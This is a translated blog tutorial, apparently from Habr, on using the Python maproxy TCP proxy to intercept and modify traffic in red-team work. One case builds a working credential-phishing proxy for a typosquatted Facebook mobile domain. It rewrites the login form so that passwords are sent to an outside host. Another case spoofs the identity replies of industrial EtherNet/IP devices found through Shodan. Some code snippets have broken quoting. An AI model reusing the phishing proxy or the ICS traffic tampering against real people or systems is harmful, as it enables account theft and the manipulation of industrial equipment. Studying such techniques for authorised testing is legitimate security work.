Prevod članka pripremljen je uoči početka kursa .

Sažetak
Različiti tipovi procene sigurnosti, od redovnog testiranja penetracije i Red Team operacija do hakovanja IoT/ICS uređaja i SCADA, podrazumevaju rad sa binarnim mrežnim protokolima, što u suštini podrazumeva presretanje i modifikaciju mrežnih podataka između klijenta i cilja. Sniffing mrežnog saobraćaja nije teška zadatak, jer imamo alate kao što su Wireshark, Tcpdump ili Scapy, međutim, modifikacija predstavlja kompleksniji zadatak, jer ćemo morati da imamo svojevrsni interfejs za čitanje podataka mreže, njihovo filtriranje, promene u hodu i slanje nazad na ciljni host gotovo u realnom vremenu. Osim toga, bilo bi idealno da takav alat može automatski raditi sa više paralelnih konekcija i imao mogućnost prilagođavanja putem skripti.
Jednom sam otkrio alat koji se zove , dokumentacija mi je brzo dala do znanja da maproxy – baš ono što mi treba. To je prilično jednostavan, univerzalan i lako konfigurabilan TCP-proxy. Testirao sam ovaj alat na nekoliko dovoljno složenih aplikacija, uključujući ICS uređaje (koji generišu veliki broj paketa), kako bih saznao da li može raditi sa mnogo paralelnih konekcija, i alat se pokazao dobro.
Ovaj članak će vas upoznati sa obradom mrežnih podataka u hodu koristeći maproxy.
Pregled
Alat maproxy zasnovan na Tornadu – popularnom i razvijenom asinhronom mrežnom okviru na Pythona.
U suštini može raditi u nekoliko režima:
TCP:TCP– nezaštićene TCP konekcije;TCP:SSLinSSL:TCP– sa jednostranim šifrovanjem;SSL:SSL– dvosmerno šifrovanje.
Dostupan je kao biblioteka. Za brzo pokretanje možete koristiti primere fajlova koji odražavaju osnovne :
all.pycertificate.pemlogging_proxy.pyprivatekey.pemssl2ssl.pyssl2tcp.pytcp2ssl.pytcp2tcp.py
Slučaj 1 – jednostavan dvosmerni proxy
Osnovano na tcp2tcp.py:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start() Privzeto ProxyServer() prihvata dva argumenta – mesto povezivanja i ciljani port. server.listen() prihvata jedan argument – port za slušanje dolaznog povezivanja.
Izvršenje skripta:
# python tcp2tcp.py Da bi test izveli, povezaćemo se s lokalnim SSH serverom putem našeg proxy skripta koji sluša na 2222/tcp portu i povezuje se sa standardnim portom 22/tcp SSH servera:

Dobrodošli banner obaveštava da je naš primer skripte uspešno proksirao mrežni saobraćaj.
Slučaj 2 – modifikacija podataka
Drugi demo skript logging_proxy.py idealno je pogodan za rad s mrežnim podacima. Komentari u datoteci opisuju metode klase koje možete modifikovati da biste postigli svoj cilj:

Najzanimljivije ovde:
on_c2p_done_read– za presretanje podataka na putu od klijenta ka serveru;on_p2s_done_read– u obrnutom smeru.
Pokušajmo da izmenimo SSH banner koji server vraća klijentu:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]Pokrenite skript:

Kao što vidite, klijent je bio zavaravan jer je za njega ime SSH servera promenjeno u „DumnySSH“.

Slučaj 3 – jednostavna phishing web stranica
Postoje beskrajni načini korišćenja ovog alata. Ovaj put hajde da se fokusiramo na nešto praktičnije u okviru Red Team operacija. Pretvarajmo se da smo na landing stranici m.facebook.com i koristimo prilagođeni domen s namernom greškom, na primer, m.facebok.com. U svrhu demonstracije samo pretpostavimo da je domen registrovan u našu korist.
Planiramo da uspostavimo nešifrovanu mrežnu konekciju s našim proxy žrtvama i SSL Stream za Facebook server (31.13.81.36). Da bi ovaj primer radio, potrebno je da zamenimo HTTP h-header domaćina i uvedemo ispravno ime domaćina, a takođe ćemo onemogućiti kompresiju odgovora kako bismo olakšali pristup njihovom sadržaju. Na kraju ćemo zameniti HTML formu kako bi se kredencijali za prijavu slali nama, umesto Facebook serverima:
[…]
def on_c2p_done_read(self,data):
# zamenite Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# onemogućite kompresiju
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# delimična zamena odgovora
data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]Na kraju:

Kao što vidite, uspeli smo da zamenimo originalnu stranicu.
Slučaj 4 – Poređenje Ethernet/IP
Dugodno sam se bavio industrijskim uređajima i softverom (ICS / SCADA), kao što su programabilni kontroleri (PLC), moduli za ulaz/izlaz, pogoni, releji, programski jezik za ljestvice i još mnogo toga. Ovaj slučaj je za one koji vole industrijske stvari. Hacking ovakvih rješenja podrazumijeva aktivnu igru s mrežnim protokolima. U sljedećem primjeru, želim pokazati kako možete modificirati mrežni promet ICS/SCADA.
Za to će vam biti potrebni sljedeći alati:
- Mrežni sniffer, poput Wiresharka;
- Ethernet/IP ili jednostavno SIP uređaj, koji možete pronaći koristeći Shodan;
- Naš skript temeljen na
maproxy.
Za početak, hajde da vidimo kako tipični identifikacijski odgovor izgleda od CIP (Common Industrial Protocol):

Identifikacija uređaja provodi se putem Ethernet/IP protokola, koji je proširena verzija Ethernet protokola za industrijske svrhe, obavija upravljačke protokole kao što je CIP. Uzećemo u obzir promjenu identificirajućeg imena prikazanog na snimku ekrana «NI-IndComm for Ethernet» uz naš proxy skript. Mogli bismo ponovo upotrijebiti skript logging_proxy.py i slično promijeniti metodu klase on_p2s_done_read, jer želimo da klijent vidi drugo identifikacijsko ime.
Koda:
[…]
def on_p2s_done_read(self,data):
# djelomična zamjena odgovora
# Provjerava da li smo dobili List Identity poruku
if data[26:28] == b'x0cx00':
print('Dobiven odgovor, zamjena')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
U suštini, zatražili smo identifikaciju uređaja dva puta, drugi odgovor je originalan, dok je prvi bio modificiran u letu.
I na kraju
po mom mišljenju maproxy koristan i jednostavan alat, koji je dodatno napisan u Pythonu, tako da vjerujem da biste vi također mogli imati koristi od njegove upotrebe. Naravno, postoje i složeniji alati za obradu i promjenu mrežnih podataka, no oni također zahtijevaju više pažnje i obično se kreiraju za specifične scenarije korištenja, kao što su , ili za slučajeve slične trećem, ili za posljednji slučaj. U svakom slučaju, uz pomoć maproxy možete brzo realizirati svoje ideje o presretanju mrežnih podataka, jer su primjeri skripti vrlo pregledni.
Izvor: habr.com
